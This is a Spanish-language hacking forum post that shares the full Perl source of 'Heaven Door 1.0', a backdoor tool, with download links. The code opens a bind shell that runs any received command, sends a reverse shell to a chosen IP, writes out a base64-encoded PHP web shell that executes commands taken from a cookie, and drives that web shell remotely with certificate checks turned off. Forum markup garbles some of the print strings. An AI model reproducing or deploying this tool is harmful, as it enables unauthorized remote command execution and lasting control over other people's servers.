[Perl] Heaven Door 1.0

  • 0 Respuestas
  • 3186 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Heaven Door 1.0

  • en: Enero 20, 2017, 09:14:38 am
Un script en Perl que funciona como backdoor con las siguientes opciones :

  • Backdoor[/li]
  • Reverse Shell[/li]
  • Generar backdoor PHP[/li]
  • Conectar con backdoor PHP[/li][/list]

    El codigo :

    Código: Perl
    1. # !usr/bin/perl
    2. # Heaven Door 1.0
    3. # (C) Doddy Hackman 2016
    4.  
    5. use LWP::UserAgent;
    6. use MIME::Base64;
    7. use IO::Socket;
    8. use IO::Socket::SSL;
    9. use Cwd;
    10. use Getopt::Long;
    11. use Color::Output;
    12. Color::Output::Init;
    13.  
    14. GetOptions(
    15.    "backdoor"   => \$backdoor,
    16.    "reverse"   => \$reverse,
    17.    "ip=s"   => \$ip,
    18.     "port=s"   => \$port,
    19.     "generate_backdoor"  => \$generate_backdoor,
    20.     "filename=s"  => \$filename,
    21.     "connect_backdoor"   => \$connect_backdoor,
    22.     "url=s"   => \$url
    23. );
    24.  
    25. head();
    26.  
    27. if ($backdoor) {
    28.    if($backdoor && $port) {
    29.       backdoor($port);
    30.    } else {
    31.       sintax();
    32.    }  
    33. }
    34. elsif ($reverse) {
    35.    if($reverse && $ip && $port) {
    36.       reverse_shell($ip,$port);
    37.    } else {
    38.       sintax();
    39.    }
    40. }
    41. elsif ($generate_backdoor) {
    42.    if($filename) {
    43.       cargar_generador_backdoor($filename);
    44.    } else {
    45.       sintax();
    46.    }
    47. }
    48. elsif ($connect_backdoor) {
    49.    if($url) {
    50.       cargar_consola_backdoor($url);
    51.    } else {
    52.       sintax();
    53.    }
    54. }
    55. else {
    56.     sintax();
    57. }
    58.  
    59. copyright();
    60.  
    61. # Functions
    62.  
    63. # Simple backdoor
    64.  
    65. sub backdoor {
    66.    
    67.    my($port) = @_;
    68.    
    69.    $backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);
    70.  
    71.    printear("</li><li type="square"> Heaven_Door : ");[/li][/list]
    72.    print "Online\n";
    73.    printear("</li><li type="square"> Port : ");[/li][/list]
    74.    print "$port\n";
    75.    printear("</li><li type="square"> PID : ");[/li][/list]
    76.    print "$$\n\n";
    77.    
    78.    printear_titulo("</li><li type="square"> Connected");[/li][/list]
    79.  
    80.    while ($jesus = $backdoor->accept()) {
    81.       $jesus->autoflush(1);
    82.       print $jesus "</li><li type="square"> Heaven_Door : Online\n</li><li type="square"> Port : 25256\n</li><li type="square"> PID : ".$$."\n\n";[/li][/list]
    83.       print $jesus "Welcome  ".$jesus->peerhost."\n\n";
    84.       &extras;
    85.       $dir = getcwd();
    86.       print $jesus $dir.">>";
    87.       while (<$jesus>) {
    88.          my $yeah = qx($_);
    89.          print $jesus "\n\n".$yeah."\n\n";
    90.          print $jesus $dir.">>";
    91.       }
    92.    }
    93.  
    94.    sub extras {
    95.  
    96.       if ($^O =~/Win32/ig) {
    97.          use if $^O eq "MSWin32", "Win32";
    98.          print $jesus "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
    99.          print $jesus "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
    100.          print $jesus "</li><li type="square"> Username : ".Win32::LoginName()."\n\n";[/li][/list]
    101.       } else {
    102.          $output =  `uname -a`;
    103.          print $jesus "--==System Info==--\n\n".$output."\n";
    104.       }
    105.    }
    106.    
    107. }
    108.  
    109. #
    110.  
    111. # Reverse Shell
    112.  
    113. sub reverse_shell {
    114.    my($ip,$port) = @_;
    115.    printear_titulo("</li><li type="square"> Reverse Shell : ");[/li][/list]
    116.    print "Loaded\n\n";
    117.    printear("</li><li type="square"> IP to connect : ");[/li][/list]
    118.    print $ip."\n";
    119.    printear("</li><li type="square"> Port : ");[/li][/list]
    120.    print $port."\n\n";
    121.    printear_logo("</li><li type="square"> Connecting ...\n\n");[/li][/list]
    122.    socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    123.    connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
    124.    printear_titulo("</li><li type="square"> Reverse Shell successful\n\n");[/li][/list]
    125.    open (STDIN,">&REVERSE");
    126.    open (STDOUT,">&REVERSE");
    127.    open (STDERR,">&REVERSE");
    128.    tipo();
    129.    printear_logo("</li><li type="square"> Disconnecting ...\n\n");[/li][/list]
    130. }
    131.  
    132. sub tipo {
    133.    if ($^O =~/Win32/ig) {
    134.       infowin();
    135.    system("cmd.exe");
    136.    } else {
    137.       infolinux();
    138.       system("export TERM=xterm;exec sh -i");
    139.    }
    140. }
    141.  
    142. sub infowin {
    143.    use if $^O eq "MSWin32", "Win32";
    144.    print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
    145.    print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
    146.    print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n";[/li][/list]
    147. }
    148.  
    149. sub infolinux {
    150.    print "</li><li type="square"> System information\n\n";[/li][/list]
    151.    system("uname -a");
    152.    print "\n";
    153. }
    154.  
    155. #
    156.  
    157. # More Functions
    158.  
    159. sub cargar_consola_backdoor {
    160.    printear("</li><li type="square"> Checking Backdoor ...\n\n");[/li][/list]
    161.    my $check1 = cargar_comando($url,"ver");
    162.    my $check2 = cargar_comando($url,"uname -a");
    163.    if(check_backdoor($check1) or check_backdoor($check2)) {
    164.       printear_logo("</li><li type="square"> Backdoor Loaded\n");[/li][/list]
    165.       my($url) = @_;
    166.       while(1) {
    167.          printear("\n</li><li type="square"> Command : ");[/li][/list]
    168.          chomp( my $comando = <stdin> );
    169.          if ( $comando =~ /exit/ ) {
    170.             copyright();
    171.          }
    172.          my $code = cargar_comando($url,$comando);
    173.          if(check_backdoor($code)) {
    174.             my $output = extract_command_backdoor($code);
    175.             if($output ne "") {
    176.                printear_titulo("\n".$output."\n");
    177.             } else {
    178.                printear_titulo("\n"."[-] Invalid command"."\n");  
    179.             }
    180.          } else {
    181.             printear_titulo("\n"."[-] Invalid command"."\n");
    182.          }
    183.       }
    184.    } else {
    185.       printear_logo("</li><li type="square"> Backdoor not exists\n");[/li][/list]
    186.    }
    187. }
    188.  
    189. sub check_backdoor {
    190.    my $text = shift;
    191.    if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
    192.       return 1;
    193.    } else {
    194.       return 0;
    195.    }
    196. }
    197.  
    198. sub extract_command_backdoor {
    199.    my $text = shift;
    200.    if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
    201.       return $1;
    202.    } else {
    203.       return "";
    204.    }
    205. }
    206.  
    207. sub cargar_generador_backdoor {
    208.    my $filename = shift;
    209.    if(-f $filename) {
    210.       unlink($filename);
    211.    }
    212.    printear_titulo("</li><li type="square"> Generating backdoor ...\n\n");[/li][/list]
    213.    generar_backdoor($filename);
    214.    if(-f $filename) {
    215.       printear("</li><li type="square"> Backdoor $filename generated !\n");[/li][/list]
    216.    } else {
    217.       printear("[-] Error generating backdoor\n");
    218.    }
    219. }
    220.  
    221. sub generar_backdoor {
    222.    my $filename = shift;
    223.    my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
    224.    savefile($filename,decode_base64($code));
    225. }
    226.  
    227. sub cargar_comando {
    228.    my($url,$command) = @_;
    229.    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    230.    $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
    231.    $nave->timeout(10);
    232.    my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
    233.    return decode_base64($contenido);
    234. }
    235.  
    236. sub savefile {
    237.    my ($filename,$text) = @_;
    238.    open( SAVE, ">>" . $filename );
    239.    print SAVE $text . "\n";
    240.    close SAVE;
    241. }
    242.  
    243. sub printear {
    244.     cprint( "\x036" . $_[0] . "\x030" );
    245. }
    246.  
    247. sub printear_logo {
    248.     cprint( "\x037" . $_[0] . "\x030" );
    249. }
    250.  
    251. sub printear_titulo {
    252.     cprint( "\x0310" . $_[0] . "\x030" );
    253. }
    254.  
    255. sub sintax {
    256.  
    257.     printear("</li><li type="square"> Sintax : ");[/li][/list]
    258.     print "perl $0 <option> <value>\n";
    259.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    260.     print "-backdoor -port <port> : Enable backdoor in port\n";
    261.     print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
    262.     print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
    263.     print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
    264.     printear("\n</li><li type="square"> Example : ");[/li][/list]
    265.     print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
    266.     copyright();
    267. }
    268.  
    269. sub head {
    270.     printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
    271. }
    272.  
    273. sub copyright {
    274.     printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    275.     exit(1);
    276. }
    277.  
    278. #The End ?
    279.  

    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5315
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3470
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 2604
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 4364
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 3011
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d